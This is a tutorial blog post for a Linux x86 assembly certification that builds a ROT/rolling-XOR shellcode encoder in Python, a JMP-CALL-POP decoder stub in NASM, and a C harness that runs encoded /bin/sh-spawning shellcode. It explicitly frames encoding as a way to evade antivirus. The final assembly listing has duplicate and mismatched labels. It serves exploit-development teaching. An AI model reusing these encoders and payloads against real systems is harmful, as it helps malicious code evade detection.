Amonsec

It's all about security.

A simple blog where you can find different things about digital security.

Custom shellcode encoder/decoder with Intel x86

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-975
Assignment number: #4
Github repositoryhttps://github.com/amonsec/SLAE/tree/master/assignment-4

This post is part of my SLAE series.

You can find the previous post at this address: https://amonsec.net/training/linux-assembly-x86/2018/egghunter-with-intel-x86

 

Introduction

The usage of an encoder is really useful in order to bypass anti virus protections or for more specifics cases to avoid bad characters. Tons of different encoder and their decoder can be found around the Web. The aim of this post is not to create a leet haxx0r encoder to bypass most advanced anti virus or IDS (Intrusion Detection System) probably because I don’t have the knowledge to do so, but to understand the concept, to understand what is an encoder, what is a decoder and how to create your owns.

Requirements

  • Linux distribution, in my case Ubuntu 10.04 LTS (x86);
  • Python 2.7 installed;
  • Nasm installed and
  • A cup of coffee (we always need a good coffee)
 

Our Encoder

First, we need to encode our shellcode. In my case I decided to use a basic shellcode that spawn a /bin/sh shell.

#!/usr/bin/python

shellcode = ''
shellcode += '\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68'
shellcode += '\x68\x2f\x62\x69\x6e\x89\xe3\x50\xb0\x0b'
shellcode += '\xcd\x80'

For this post we will create a basic ROT-n XOR encoder that will successively for each bytes add a given number and then execute a XOR operation with the previous shellcode’s byte. Note, we need to add an extra byte before our shellcode in order to execute the first XOR operation with something.

key = 42                    
opcode = []  
opcode.append(0x66)
asm = 'shellcode: db '
index = 0

for x in bytearray(shellcode):
     byte = (x + key) % 256

The key variable represent the number used for the ROT operation, the opcode array is used to store the encoded shellcode. asm variable is here only for string creation and the index is used later in the bytearray loop.

Note, we add our extra byte, here 0x66 for the first XOR operation in the opcode array.

At this point, we can use the byte variable to execute our XOR operation with the previous byte of our shellcode and after that, we push our encoded byte into our opcode array.

byte = byte ^ opcode[index]
opcode.append(byte)

Note, in Python scripting language, the ^ character is used for XOR operation.

For readability purposes, we create a sweet string that contain our final opcode, in order to only have to copy/paste the output into our assembly program.

asm += '0x'
asm += '%02x, ' % byte
index += 1

It’s a loop, so, the script will repeat the process for each bytes, independently of the length of our shellcode. Finally, our encoder look like this:

#!/usr/bin/python

shellcode = ''
shellcode += '\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68'
shellcode += '\x68\x2f\x62\x69\x6e\x89\xe3\x50\xb0\x0b'
shellcode += '\xcd\x80'

key = 42                    
opcode = []  
opcode.append(0x66)
asm = 'shellcode: db '
index = 0

for x in bytearray(shellcode):
     byte = (x + key) % 256

     byte = byte ^ opcode[index]
     opcode.append(byte)

     asm += '0x'
     asm += '%02x, ' % byte
     index += 1

print 'Lenght shellcode: %d' % len(shellcode)
print asm

 

Now, let’s run this basic python script to get our final encoded shellcode.
 

custom_shellcode_encoder_decoder_with _intel_x86_python_script.png
 

JMP CALL POP, wot?

First, before starting to write our assembly decoder let me introduce you a really useful technique called JMP CALL POP. When we work with strings we can store in a variable our string and directly call this variable in our program, but we have a dependence and that make fail the program.

Example:

global _start

section .text
_start:
     mov esi, shellcode

section .data
     shellcode: db 0x3d, 0xd7, 0xad, 0x1e, 0x12, 0x80, 0xd9, 0x80, 0x1d, 0x8f, 0x1d, 0x44, 0xc8, 0x5b, 0xc3, 0x70, 0x7d, 0x07, 0xdd, 0xe8, 0x1f, 0xb5

Fortunately for us, we can implement the JMP CALL POP technique in our decoder. First we will jump to a procedure, in our case, it’s a short JMP because we have less than 127 bytes between our current EIP value and the called procedure, here starter.

After that, we use the CALL instruction and the usefulness of this technique begins here. When the CALL instruction is used, first, the next offset is pushed into the stack and then the program jump to the given procedure. With real words, we store the shellcode string into the stack and then we jump for the procedure, in our case decoder.

Finally, we use the POP instruction that will store to the given register the highest offset in the stack, in our case the ESI register will point to the beginning of our shellcode.

To conclude, this technique is used because:

  • That’s avoid hard-coded address because we don’t know where our shellcode is located in memory and
  • That’s allow the program to dynamically figure out the address of our shellcode

 

The skeleton of our decoder program will look like this:

global _start

section .text
_start:
     jmp short starter

decoder:
     pop esi

starter:
     call decoder
     shellcode: db 0x3d, 0xd7, 0xad, 0x1e, 0x12, 0x80, 0xd9, 0x80, 0x1d, 0x8f, 0x1d, 0x44, 0xc8, 0x5b, 0xc3, 0x70, 0x7d, 0x07, 0xdd, 0xe8, 0x1f, 0xb5
 

Our decoder

First, let’s initialise registers with our needs:

pop esi                 ; ESI point to our shellcode

xor eax, eax            ; zeroed EAX
xor ebx, ebx            ; zeroed EBX
xor ecx, ecx            ; zeroed ECX

mov byte cl, 22         ; Length of shellcode
mov byte al, 0x66       ; First value = 102
mov byte bl, 0x2a       ; Key = 42

Here, the ECX register will be used later with our loop instruction, so, we move the length of our shellcode into ECX in order to parse each byte of our shellcode. Then, we move the first value (0x66) into the EAX register for the first XOR instruction and, finally, we move into the EBX register our key (0x2a) for the rotation.

We can create a new procedure, in our case called decode that will will first execute the XOR instruction.

decoder:
    mov dl, [esi]           ; DL = current shellcode byte
    xor al, dl              ; XOR process

The EAX register contains the xored value, so we need to change the current encoded value of the ESI register with our new xored value and then, rotate the ESI value with our predefined key stored in the EBX register:

mov [esi], al           ; Change the value of the shellcode byte
sub byte [esi], bl      ; ROT

We can change the value of the EAX register for the next XOR instruction with our freshly decoded byte, increment the ESI register in order to get the next shellcode byte and, finally, loop to the decode procedure until the ECX register is equal to zero.

Note, the LOOP instruction jump to the given procedure and decrements by one the ECX register, that’s why the value of the ECX register is equal to the length of our shellcode.

mov al, dl              ; Rolling XOR
inc esi                 ; Next shellcode byte
loop decode             ; Loop until ECX = 0

jmp shellcode           ; JMP to our shellcode

After the decoding process, the program jump into the decoded shellcode in order to execute it.

Our decoder assembly program should look like this:

global _start

section .text
_start:
     jmp short starter

decoder:
     pop esi

     xor eax, eax            ; zeroed EAX
     xor ebx, ebx            ; zeroed EBX
     xor ecx, ecx            ; zeroed ECX

     mov byte cl, 22         ; Length of shellcode
     mov byte al, 0x66       ; First value = 102
     mov byte bl, 0x2a       ; Key = 42

decoder:
    mov dl, [esi]           ; DL = current shellcode byte
    xor al, dl              ; XOR process
    mov [esi], al           ; Change the value of the shellcode byte
    sub byte [esi], bl      ; ROT
    mov al, dl              ; Rolling XOR
    inc esi                 ; Next shellcode byte
    loop decode             ; Loop until ECX = 0

    jmp shellcode           ; JMP to our shellcode

starter:
     call decoder
     shellcode: db 0x3d, 0xd7, 0xad, 0x1e, 0x12, 0x80, 0xd9, 0x80, 0x1d, 0x8f, 0x1d, 0x44, 0xc8, 0x5b, 0xc3, 0x70, 0x7d, 0x07, 0xdd, 0xe8, 0x1f, 0xb5

Finally:

custom_shellcode_encoder_decoder_with _intel_x86_compile_link_extract.png
 

Assemble the pieces

At this point, we can create a simple C program to execute our shellcode:

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \  
"\xeb\x1c\x5e\x31\xc0\x31\xdb\x31\xc9\xb1\x16"
"\xb0\x66\xb3\x2a\x8a\x16\x30\xd0\x88\x06\x28"
"\x1e\x88\xd0\x46\xe2\xf3\xeb\x05\xe8\xdf\xff"
"\xff\xff\x3d\xd7\xad\x1e\x12\x80\xd9\x80\x1d"
"\x8f\x1d\x44\xc8\x5b\xc3\x70\x7d\x07\xdd\xe8"
"\x1f\xb5";

main() {
    printf("Shellcode Length:  %d\n", strlen(shellcode));
    int (*exploit)() = (int(*)())shellcode;
    exploit();
}

Let’s compile the program:

amonsec@ubuntu:/opt/slae/assignment-4$ gcc -fno-stack-protector -z execstack exploit.c -o exploit
amonsec@ubuntu:/opt/slae/assignment-4$

Finally, we execute it

custom_shellcode_encoder_decoder_with _intel_x86_exploit_execution.gif
 
 

break